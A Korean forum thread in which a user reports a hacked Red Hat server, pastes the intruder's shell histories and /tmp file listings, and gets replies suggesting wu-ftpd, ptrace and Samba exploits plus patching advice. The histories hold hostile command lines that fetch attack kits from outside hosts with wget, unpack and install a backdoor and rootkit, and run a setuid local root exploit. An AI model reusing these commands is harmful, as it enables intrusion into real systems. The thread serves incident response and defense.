해킹 당했습니다.

qprk의 이미지

어제 낮 13시 30분경 개인 서버에 이상한 넘이 들어와 있었습니다.
우선 랜케이블 뽑고.. 컴 리부팅하여 single모드에서 백업을 한다음 다시 깔았습니다.
그리고 아래는 그넘의 짓(?)으로 보이는 것들입니다....
뭘한건지 어떻게 들어온건지 알 수 있는 방법은 없는지요?
이놈이 루트까지 따서 뭔가가 할려고 하고 있었던것 같습니다....
일단 /var/log 폴더를 모두 지워서 더이상의 정보를 얻기가 힘들었습니다.
마지막으로 wget 명령으로 받아온 파일들은 지금 웹에서 바로 받아지는 상태 입니다.

꼬릿말..
그냥 배포판 깔아서 특별히 업데이트 안하고....
커널 컴파일도 할줄 모르고.. 해서 그냥 사용하고 있었는대..
이런일이 일어나고보니 정말 기분 나쁘내요...
더 많이 공부해야 할 것 같습니다...

---------------------------------------------------------------------------------------------------------------------
unsmenar history..

ls
ps aux
wget
wget ginitoru.go.ro/sambaback.tgz
ls
tar xzvf sambaback.tgz
ls
rm -rf sambaback.tgz
ls
pwd
cat /etc/issue
cat /etc/redhat-release
uname -a
cd /tmp
ls
ls -a
./test
whoami
./x0x


---------------------------------------------------------------------------------------------------------------------
root history

bash
pwd
./sk
pwd
wget saregardu.net/back.tgz ; tar xzvf back.tgz ; rm -rf back.tgz ; cd back ; ./install ; cd client ; /sbin/ifconfig ;
./client -i xxx.xxx.xxx.xxx 
ssh root@xxx.xxx.xxx.xxx -p50001
netstat -an |grep LISTEN
wget
pwd
wget saregardu.net/skk.tgz ; tar xzvf skk.tgz ; rm -rf skk.tgz ; cd sk-1.3b ; ./inst ; cd ..  ; rm -rf sk-1.3b ; cd /usr/share/locale/.vali ; bash ; export PATH="." ; sk ;


xxx.xxx.xxx.xxx는 저의 개인서버 ip입니다.

그리고 아래의 ip는 그놈이 접속해있던 ip입니다.
81.196.200.172
           163


------------------------------------------------------------------------------------------------
여기부터는 그놈이 /tmp 에서 작업한 결과인것 같습니다...
[root@xxxxxx tmp]# ls -al
합계 884
drwxrwxrwt    3 root     root         4096  6월 27 13:12 ./
drwxr-xr-x    7 root     root         4096  6월 28 09:44 ../
-rw-r--r--    1 540      540             0  6월 27 12:57 982235016-gtkrc-429249277
-rw-------    1 root     root        98304  6월 27 13:12 ccJZwvu3.s
-rw-------    1 root     root       305507  6월 27 13:12 ccSdwtqx.i
-rw-r--r--    1 apache   apache      18714  6월 22 22:20 local.tgz
-rwxr-xr-x    1 apache   apache      20094  6월 22 22:02 local1*
-rwxr-xr-x    1 apache   apache      21935  6월 22 22:13 local2*
-rwxr-xr-x    1 apache   apache      17629  6월 22 22:07 ptrace*
drwxr-xr-x    3 root     root         4096  6월 28 09:46 secure/
-rw-r--r--    1 root     root       297182  6월 27 12:33 secure.tgz
-rw-------    1 apache   apache         30  6월 27 12:51 sess_07b76d51278eb52d865a912d161fafdd
-rw-------    1 apache   apache         30  6월 27 12:57 sess_152b3deb1cf1924fcffc44a5b1e0e627
-rw-------    1 apache   apache         28  6월 27 12:57 sess_2e9679d6c26eb7f2143378a1a9331427
-rw-------    1 apache   apache         30  6월 27 12:51 sess_303c79327b1638db3d2d4760018f3bf0
-rw-------    1 apache   apache         28  6월 27 12:57 sess_6707eb2133dd5be2a5e6e9e616c403a9
-rw-------    1 apache   apache         28  6월 27 12:56 sess_68591b9867036918e64803c273857813
-rw-------    1 apache   apache         30  6월 27 12:33 sess_6e841d75c3d3a665ad9c653a8ee2be84
-rw-------    1 apache   apache         29  6월 27 12:53 sess_856cf1e6656039430eb26dd0da140ef1
-rw-------    1 apache   apache         30  6월 27 12:52 sess_aa41906f7c304c774fe8e172b5a6f1fb
-rw-------    1 apache   apache         58  6월 27 12:44 sess_aec6cda1ad54cb4bf7748402a12bbc0e
-rw-------    1 apache   apache         30  6월 27 12:33 sess_b6cd7644b2aa03b5b2028e975d87f2cd
-rw-------    1 apache   apache         28  6월 27 12:57 sess_eb55e8e75cd27068d1f4f00d13dee627
-rw-------    1 root     root            0  6월 24 09:36 session_mm_apache0.sem
-rwxr-xr-x    1 apache   apache      21521  6월 22 21:38 test*
-rwsr-sr-x    1 root     root        13534  6월 27 12:21 x0x*
[root@xxxxxx tmp]# cd secure
[root@xxxxxx secure]# ls -al
합계 520
drwxr-xr-x    3 root     root         4096  6월 28 09:46 ./
drwxrwxrwt    3 root     root         4096  6월 27 13:12 ../
drwxrwxr-x    2 root     root         4096  6월  7  2002 .cadou/
-rwxr-xr-x    1 root     root          472 12월 17  2002 .p*
-rw-r--r--    1 root     root          348  6월 18  2002 README.eng
-rw-r--r--    1 root     root          375  6월 18  2002 README.ro
-rwxr-xr-x    1 root     root          337  5월 22  2002 card*
-rw-r--r--    1 root     root           85  6월 27 13:09 card.log
-rwxr-xr-x    1 root     root         9916  7월 31  2002 checkrk*
-rw-rw-r--    1 root     root         1818  6월 27 13:09 computer
-rw-------    1 root     root       114688 10월 12  2002 core
-rwxr--r--    1 root     root          257  7월 31  2002 getbnc*
-rwxr--r--    1 root     root          296  7월 31  2002 getpsy*
-rwxr-xr-x    1 root     root         4724  5월 14 07:26 secure*
-rwxr-xr-x    1 root     root         1137 12월 17  2002 sshsecure*
-rwxr-xr-x    1 root     root         1988  7월 31  2002 sysinfo*
-rwxr-xr-x    1 root     root       132997 12월 17  2002 wget*
-rw-r--r--    1 root     root       195637  1월 15  2001 wu-ftpd6x.rpm
[root@xxxxxx secure]# more README.eng
Heelo...my nick` is Zorg..and i made this secure for you..to secure your`
damn rootz..!
so`..
tar -xvzf secure.tar.gz
cd secure
./secure
And wait..
then`..if you want to find some credit cardz just` : pico card.log
That`s all folk`s...
Ps.Soon secure2.tar.gz whit ssh NonComercial rpm..
Made by Zorg from #HackTeam & #Wget (wget@wget.ws)
www.rh.ro
[root@xxxxxx secure]# cd .cadou
[root@xxxxxx .cadou]# ls -al
합계 12
drwxrwxr-x    2 root     root         4096  6월  7  2002 ./
drwxr-xr-x    3 root     root         4096  6월 28 09:46 ../
-rwxr-xr-x    1 root     root          152 12월 17  2002 cadou*
[root@xxxxxx .cadou]# cd ..
[root@xxxxxx secure]# more card.log
Binary file /var/lib/rpm/Packages matches
Binary file /var/lib/rpm/Basenames matches
[root@xxxxxx secure]# more computer
hello:-)
* Info : Linux NEXUS 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
* Hostname : NEXUS
* IfConfig :           inet addr:203.144.216.201  Bcast:203.144.216.207  Mask:255.255.255.240
          inet addr:127.0.0.1  Mask:255.0.0.0
* Uptime :  10:13pm  up 127 days,  5:42,  0 users,  load average: 0.10, 0.03, 0.01
* Cpu Vendor ID : vendor_id     : GenuineIntel
vendor_id       : GenuineIntel
* Cpu Model : model             : 10
model name      : Pentium III (Cascades)
model           : 10
model name      : Pentium III (Cascades)
* Cpu Speed: cpu MHz            : 300.035
cpu MHz         : 300.035
* Bogomips: bogomips    : 599.65
bogomips        : 598.02
* Spatiu Liber: Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1             4.8G  167M  4.4G   4% /
/dev/sda7             8.8G   20k  8.3G   1% /export
/dev/sda5              19G  466M   17G   3% /usr
* Shell-ul a fost patch-uit pentru Statdx si Wu-Ftp ...              <------  여기부터 저의 컴 내용입니다..
* Info : Linux xxxxxx 2.4.18-4smp #1 SMP Thu Aug 22 17:42:36 KST 2002 i586 unknown
* Hostname : xxxxxx
* IfConfig :           inet addr:xxx.xxx.xxx.xxx  Bcast:220.89.94.63  Mask:255.255.255.192
          inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0
          inet addr:127.0.0.1  Mask:255.0.0.0
* Uptime :   1:09pm  up 28 days, 13:59,  5 users,  load average: 7.21, 8.88, 7.40
* Cpu Vendor ID : vendor_id     : GenuineIntel
* Cpu Model : model             : 4
model name      : Pentium MMX
* Cpu Speed: cpu MHz            : 166.450
* Bogomips: bogomips    : 331.77
* Spatiu Liber: Filesystem            Size  Used Avail Use% Mounted on
/dev/hda5             1.5G  1.2G  275M  81% /
/dev/hda1              23M   14M  8.1M  63% /boot
/dev/hda2             2.0G  1.1G  828M  57% /home
none                   30M     0   29M   0% /dev/shm
/dev/hdb1              28G   16G   12G  55% /asdf
* Shell-ul a fost patch-uit pentru Statdx si Wu-Ftp ...
[root@xxxxxx secure]# 
lobsterman의 이미지

아래 내용을 대충보니 백도어 깔구 터미널 인사말까지 고치고 갔겠군요...
제 생각에는 레뎃 7.x버전데 이하 버전을 설치 하신것 같으신데...
직관적인 판단해 볼 때 회사에서 쓰시면 내부 있는 소행자 같군요...프록시 서버를 이용했을것 같구요...
sambaback <- 이게 아마도 그것을 추측하게 하는데....
한번 더 확인해 보새요...
글리고...
ftp서버가 wu-ftp군요...
우선 wu-ftp는 익명으로 접속하여 root를 딸 수 있는 보완문제가 있는 것으로 알고 있읍니다.
그 배포판을 다시 까셨으면 우선 FTP서버를 닫아 두시구...
pro-ftp로 까시기 바랍니다 wu-ftp는 삭제를 하시구요...
만약 ftp를 열어 두신 상태에서는 다시 들어올 가능성이 상당히 높읍니다.

무한한 상상력과 강한실행욕구는 엔지니어의 마지막 무기~

ihavnoid의 이미지

패치 안하면 100% 뚫립니다. 많은 분들이 그걸 생각 안하셔서 고생하시더군요.

일단 포멧 후 재설치하시는 게 맞고요, 레드햇 그 버젼용 모든 패치를 다 적용하신 다음, 안 쓰는 기능들은 제거하시기 바랍니다.

그리고 그 다운받는 URL에서 toolkit들은 여전히 다운받을 수 있는 상태군요:)
다들 살아있는 서버들인 듯 합니다.

Consider the ravens: for they neither sow nor reap; which neither have storehouse nor barn; and God feedeth them: how much more are ye better than the fowls?
Luke 12:24

chanchan의 이미지

:?

wu-ftpd remote exploit 같이 보입니다.
그 외 ptrace 도 보이는걸 보니깐...

서버가 한마디로 작살났다는 표현이 좋겠습니다. :shock:

가급적이면 sftp 를 사용하시고 ... 그리고 ptrace 패치된 커널로 커널 컴파일 하셔야 될듯 싶습니다.

그 외 여러가지 이유들이 있지만 귀차니즘으로...

ihavnoid의 이미지

sambaback이 뭔가요..?

Consider the ravens: for they neither sow nor reap; which neither have storehouse nor barn; and God feedeth them: how much more are ye better than the fowls?
Luke 12:24

lobsterman의 이미지

ihavnoid wrote:
sambaback이 뭔가요..?

압축상태로 있어 어떤 건지는 잘모르겠지만...

삼바서버 익스플로잇 같읍니다.

차후에 다시 들어 올려고 설치한 것이지요...

삼바의 경우 내부 아이피를 쓰는 경우가 흔해 외부에서 재차 접속을 하려고 하지는 않겠지여...

무한한 상상력과 강한실행욕구는 엔지니어의 마지막 무기~

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.